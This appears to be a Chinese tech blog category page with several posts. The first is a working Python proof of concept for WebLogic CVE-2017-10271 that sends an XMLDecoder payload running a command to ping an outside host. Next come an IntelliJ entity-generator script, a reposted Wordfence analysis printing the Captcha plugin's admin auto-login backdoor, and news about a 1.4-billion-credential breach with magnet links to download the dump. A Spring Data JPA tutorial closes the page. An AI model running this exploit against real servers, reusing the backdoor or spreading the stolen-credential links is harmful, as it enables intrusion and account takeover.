分类 技术类 下的文章

WebLogic CVE-2017-10271 Poc

漏洞编号

  • CVE-2017-10271 (wls-wsat 远程命令执行漏洞)

影响版本

  • Oracle WebLogic Server10.3.6.0.0 版本
  • Oracle WebLogic Server12.1.3.0.0 版本
  • Oracle WebLogic Server12.2.1.1.0 版本
  • Oracle WebLogic Server12.2.1.2.0 版本

Poc

#!/usr/bin/env python
# coding:utf-8
# auther:dayu
import requests
import re
from sys import argv

heads = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Content-Type': 'text/xml;charset=UTF-8'
    }

def poc(url):
    if not url.startswith("http"):
        url = "http://" + url
    if "/" in url:
        url += '/wls-wsat/CoordinatorPortType'
    post_str = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <void class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="2">
                <void index="0">
                  <string>/usr/sbin/ping</string>
                </void>
                <void index="1">
                  <string>ceye.com</string>
                </void>
              </array>
              <void method="start"/>
            </void>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    '''

    try:
        response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads)
        response = response.text
        response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
    except Exception, e:
        response = ""

    if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
        result = "Vulnerability exist"
        return result
    else:
        result = "No Vulnerability"
        return result


if __name__ == '__main__':
    if len(argv) == 1:
        print "python weblogic_poc.py url:port"
        exit(0)
    else:
        url = argv[1]
    result = poc(url=url)
    print result

idea 根据数据表生成实体类

本代码源码为http://p2j.cn/?p=1856,园长的,然后我优化了下
首先配置idea的数据库链接,然后创建数据库的时候注意加上注释
然后新建Generate Entitys.groovy脚本
1.png

2.png

3.png

然后选择数据表,右键生成

4.png

Generate Entitys.groovy代码

import com.intellij.database.model.DasTable
import com.intellij.database.model.ObjectKind
import com.intellij.database.util.Case
import com.intellij.database.util.DasUtil

/*
 * 默认可用的 context 绑定:
 *   SELECTION   Iterable<DasObject>
 *   PROJECT     project
 *   FILES       files helper
 */

packageName = ""
typeMapping = [
        (~/(?i)tinyint|smallint|mediumint/)      : "Integer",
        (~/(?i)int/)                             : "Long",
        (~/(?i)bool|bit/)                        : "Boolean",
        (~/(?i)float|double|decimal|real/)       : "Double",
        (~/(?i)datetime|timestamp|date|time/)    : "Date",
        (~/(?i)blob|binary|bfile|clob|raw|image/): "InputStream",
        (~/(?i)/)                                : "String"
]

FILES.chooseDirectoryAndSave("Choose directory", "Choose where to store generated files") { dir ->
    SELECTION.filter { it instanceof DasTable && it.getKind() == ObjectKind.TABLE }.each { generate(it, dir) }
}

def generate(table, dir) {
    def className = javaName(table.getName(), true)
    def fields = calcFields(table)
    packageName = getPackageName(dir)
    new File(dir, className + ".java").withPrintWriter { out -> generate(out, className, fields) }
}

/**
 * 获取包名称
 * @param dir 实体类所在目录
 * @return
 */
def getPackageName(dir) {
    return dir.toString().replaceAll("/", ".").replaceAll("^.*src(\\.main\\.java\\.)?", "") + ";"
}

/**
 * 实体类代码生成
 * @param out
 * @param className
 * @param fields
 * @return
 */
def generate(out, className, fields) {
    out.println "package $packageName"
    out.println ""

    Set<String> types = new HashSet<String>()

    fields.each() {
        types.add(it.type)
    }

    if (types.contains("Date")) {
        out.println "import java.util.Date;"
    }

    if (types.contains("InputStream")) {
        out.println "import java.io.InputStream;"
    }

    out.println ""
    out.println "public class $className {"
    fields.each() {
        out.println ""
        if (it.annos != "") out.println "  ${it.annos}"

        // 输出注释
        if (isNotEmpty(it.commoent)) {
            out.println "\t/**"
            out.println "\t * ${it.commoent}"
            out.println "\t */"
        }

        // 输出成员变量
        out.println "\tprivate ${it.type} ${it.name};"
    }

    // 输出get/set方法
    fields.each() {
        out.println ""

        if (isNotEmpty(it.commoent)) {
            out.println "\t/**"
            out.println "\t * 获取${it.commoent}"
            out.println "\t * @return"
            out.println "\t */"
        }

        def actionName = "Boolean".equals(it.type.toString()) ? "is" : "get"

        out.println "\tpublic ${it.type} ${actionName}${it.name.capitalize()}() {"
        out.println "\t\treturn this.${it.name};"
        out.println "\t}"
        out.println ""

        if (isNotEmpty(it.commoent)) {
            out.println "\t/**"
            out.println "\t * 设置${it.commoent}"
            out.println "\t * @param ${it.name}"
            out.println "\t */"
        }
        out.println "\tpublic void set${it.name.capitalize()}(${it.type} ${it.name}) {"
        out.println "\t\tthis.${it.name} = ${it.name};"
        out.println "\t}"
    }
    out.println ""
    out.println "}"
}

def calcFields(table) {
    DasUtil.getColumns(table).reduce([]) { fields, col ->
        def spec = Case.LOWER.apply(col.getDataType().getSpecification())
        def typeStr = typeMapping.find { p, t -> p.matcher(spec).find() }.value
        fields += [[
                           colName : col.getName(),
                           name    : javaName(col.getName(), false),
                           type    : typeStr,
                           commoent: col.getComment(),
                           annos   : ""]]
    }
}

def javaName(str, capitalize) {
    def s = str.split(/[^\p{Alnum}]/).collect { def s = Case.LOWER.apply(it).capitalize() }.join("")
    capitalize ? s : Case.LOWER.apply(s[0]) + s[1..-1]
}

def isNotEmpty(content) {
    return content != null && content.toString().trim().length() > 0
}

代码下载:Generate Entitys.groovy.zip

WordPress商店里面的Captcha插件后门影响超30万站点

popular-wordpress-plugin.png

WordPress存储库最近删除了插件Captcha,这个插件最初看起来是当前作者使用“WordPress”的商标问题 [编者提示:原始页面已被删除,我们现在链接到一个屏幕截图]。名称。

每当WordPress存储库删除一个大用户群的插件,我们检查是否可能是由于某些安全相关的。Wordfence提醒用户,当他们正在运行的任何插件也从WordPress的回购中删除。在被移除的时候,Captcha已经有超过30万次的主动安装,所以它的移除对许多用户有很大的影响。虽然开发者是发布关于插件删除原因的人,但我决定查看插件来源,看看开发者是否有一些犯规行为。我发现了下面的代码:

function cptch_wp_plugin_auto_update()
{
    require_once ('cptch_wp_auto_update.php');
    global $cptch_plugin_info;

    $wptuts_plugin_current_version = $cptch_plugin_info['Version'];
    $wptuts_plugin_remote_path = 'https://simplywordpress.net/captcha/captcha_pro_update.php';
    $wptuts_plugin_slug = plugin_basename(__FILE__);

    new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);
}

此代码触发一个自动更新过程,从一个ZIP文件下载https://simplywordpress[dot]net/captcha/captcha_pro_update.php,然后提取并安装Captcha在现场运行的插件的副本上。ZIP包含一些与插件库中的代码不同的小代码,它还包含一个叫做plugin-update.php后门的文件:

@unlink(__FILE__);

require('../../../wp-blog-header.php');
require('../../../wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
    wp_clear_auth_cookie();
    wp_set_current_user ( $user->ID );
    wp_set_auth_cookie  ( $user->ID );

    $redirect_to = user_admin_url();
    wp_safe_redirect( $redirect_to );

    exit();
}

一个后门文件允许攻击者,或在这种情况下,插件作者,获得未经授权的管理访问您的网站。这个后门创建一个用户ID为1的会话(WordPress首次安装时创建的默认管理员用户),设置身份验证Cookie,然后删除自己。

后门安装代码是未经验证的,意味着任何人都可以触发它。我们将编辑这篇文章,在30天之后包含一个概念证明,并提供关于后门安装和执行的技术细节。

ZIP文件中的其他更改之一是使用开发人员用于安装后门的相同自动更新过程更新URL:

< $wptuts_plugin_remote_path = 'https://simplywordpress.net/captcha/captcha_pro_update.php';
---
> $wptuts_plugin_remote_path = 'https://simplywordpress.net/captcha/captcha_free_update.php';

从下拉的代码https://simplywordpress[net]net/captcha/captcha_free_update.php与插件存储库中的代码完全相同,因此触发相同的自动更新过程将删除后门的所有文件系统跟踪,使其看起来好像从不存在并帮助攻击者避免检测。

该插件首先在2017年12月4日下午1:52 UTC在提交@ 1780758将这个恶意代码包含在WordPress插件存储库中:

原文链接:https://www.wordfence.com/blog/2017/12/backdoor-captcha-plugin/

史上信息量最大数据库在线曝光!14亿明文密码正在暗网流通

导语:黑客总是喜欢通过破解最薄弱的环节,来快速获取访问你在线账户的权限。一般来说,在线用户都习惯在多个服务中重复使用相同的密码,而正是这一不良习惯使得攻击者有机会从之前泄漏的数据中收集到登陆凭证,然后轻松地访问我们其他的在线账

该集合数据库中包含从Bitcoin、Pastebin、LinkedIn、MySpace、Netflix、YouPorn、Last.FM、Zoosk、Badoo、RedBox以及游戏平台(Minecraft和Runescape等)泄漏的数据,以及Anti Public,Exploit.in泄漏的凭证列表。

请输入图片描述

黑客总是喜欢通过破解最薄弱的环节,来快速获取访问你在线账户的权限。一般来说,在线用户都习惯在多个服务中重复使用相同的密码,而正是这一不良习惯使得攻击者有机会从之前泄漏的数据中收集到登陆凭证,然后轻松地访问我们其他的在线账户。

近日,来自网络安全公司4iQ的研究人员发现,在暗网(也发布在了Torrent上)中出现了一个新的数据库,其中包含14亿明文形式的用户名和密码。

4iQ公司创始人兼首席技术官Julio Casal在一篇博客文章中指出,12月5日在地下社区论坛上发现的数据库,堪称是有史以来在暗网中发现的最大的集合数据库。

虽然关于该数据库的下载链接在过去几周就已经在暗网中流传,但是近日有人将该链接发布到了Reddit上,我们根据链接下载了一个副本,接下来就可以验证一下该数据库的真实性。

1_QE5WX5CPfppjPxlt82sdnQ.png

About the Dump File
The 41GB dump was found on 5th December 2017 in an underground community forum. The database was recently updated with the last set of data inserted on 11/29/2017. The total amount of credentials (usernames/clear text password pairs) is 1,400,553,869.

There is not indication of the author of the database and tools, although Bitcoin and Dogecoin wallets are included for donation.

The data is structured in an alphabetic directory tree fragmented in 1,981 pieces to allow fast searches.

download:
magnet:?xt=urn:btih:7ffbcd8cee06aba2ce6561688cf68ce2addca0a3&dn=BreachCompilation&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fglotorrents.pw%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337(未压缩41g)

magnet:?xt=urn:btih:09250e1953e5a7fefeaa6206e81d02e53b5b374a&dn=BreachCompilation.tar.bz2(已压缩11g)

Spring Data JPA 简单查询--方法定义规则(详解)

一、常用规则速查

关键词 意思
And 并且
Or
Is,Equals 等于
Between 两者之间
LessThan 小于
LessThanEqual 小于等于
GreaterThan 大于
GreaterThanEqual 大于等于
After 之后(时间) >
Before 之前(时间) <
IsNull 等于Null
IsNotNull,NotNull 不等于Null
Like 模糊查询。查询件中需要自己加 %
NotLike 不在模糊范围内。查询件中需要自己加 %
StartingWith 以某开头
EndingWith 以某结束
Containing 包含某
OrderBy 排序
Not 不等于
In 某范围内
NotIn 某范围外
True
False
IgnoreCase 忽略大小写

二、Spring Data 解析方法名--规则说明

1、规则描述

按照Spring data 定义的规则,查询方法以find|read|get开头(比如 findfindByreadreadBygetgetBy),涉及条件查询时,条件的属性用条件关键字连接,要注意的是:条件属性首字母需大写。框架在进行方法名解析时,会先把方法名多余的前缀截取掉,然后对剩下部分进行解析。

如果方法的最后一个参数是 Sort 或者 Pageable 类型,也会提取相关的信息,以便按规则进行排序或者分页查询。

2、举例说明

比如 findByUserAddressZip()。框架在解析该方法时,首先剔除 findBy,然后对剩下的属性进行解析,详细规则如下(此处假设该方法针对的域对象为 AccountInfo 类型):

先判断 userAddressZip (根据 POJO 规范,首字母变为小写,下同)是否为 AccountInfo 的一个属性,如果是,则表示根据该属性进行查询;如果没有该属性,继续第二步;

从右往左截取第一个大写字母开头的字符串(此处为 Zip),然后检查剩下的字符串是否为 AccountInfo 的一个属性,如果是,则表示根据该属性进行查询;如果没有该属性,则重复第二步,继续从右往左截取;最后假设 userAccountInfo 的一个属性;

接着处理剩下部分(AddressZip),先判断 user 所对应的类型是否有 addressZip 属性,如果有,则表示该方法最终是根据 "AccountInfo.user.addressZip" 的取值进行查询;否则继续按照步骤 2 的规则从右往左截取,最终表示根据 "AccountInfo.user.address.zip" 的值进行查询。

可能会存在一种特殊情况,比如 AccountInfo 包含一个 user 的属性,也有一个 userAddress 属性,此时会存在混淆。读者可以明确在属性之间加上 "_" 以显式表达意图,比如 "findByUser_AddressZip()" 或者 "findByUserAddress_Zip()"。(强烈建议:无论是否存在混淆,都要在不同类层级之间加上"_" ,增加代码可读性)

三、一些情况

1、当查询条件为null时。

举例说明如下:

实体定义:

对于一个客户实体Cus,包含有name和sex,均是String类型。

查询方法定义:

List<Cus> findByNameAndSex(String name,String sex);

使用时:

dao.findByNameAndSex(null, "男");

后台生成sql片断:

where (cus0_.name is null) and cus0_.sex=?

结论:当查询时传值是null时,数据库中只有该字段是null的记录才符合条件,并不是说忽略这个条件。也就是说,这种查询方式,只适合于明确查询条件必须传的业务,对于动态查询(条件多少是动态的,例如一般的查询列表,由最终用户使用时决定输入那些查询条件),这种简单查询是不能满足要求的。

2、排序

List<Cus> findBySexOrderByName(String sex); //名称正序(正序时,推荐此方式,简单)
List<Cus> findBySexOrderByNameAsc(String sex); //名称正序(效果同上)
List<Cus> findBySexOrderByNameDesc(String sex); //名称倒序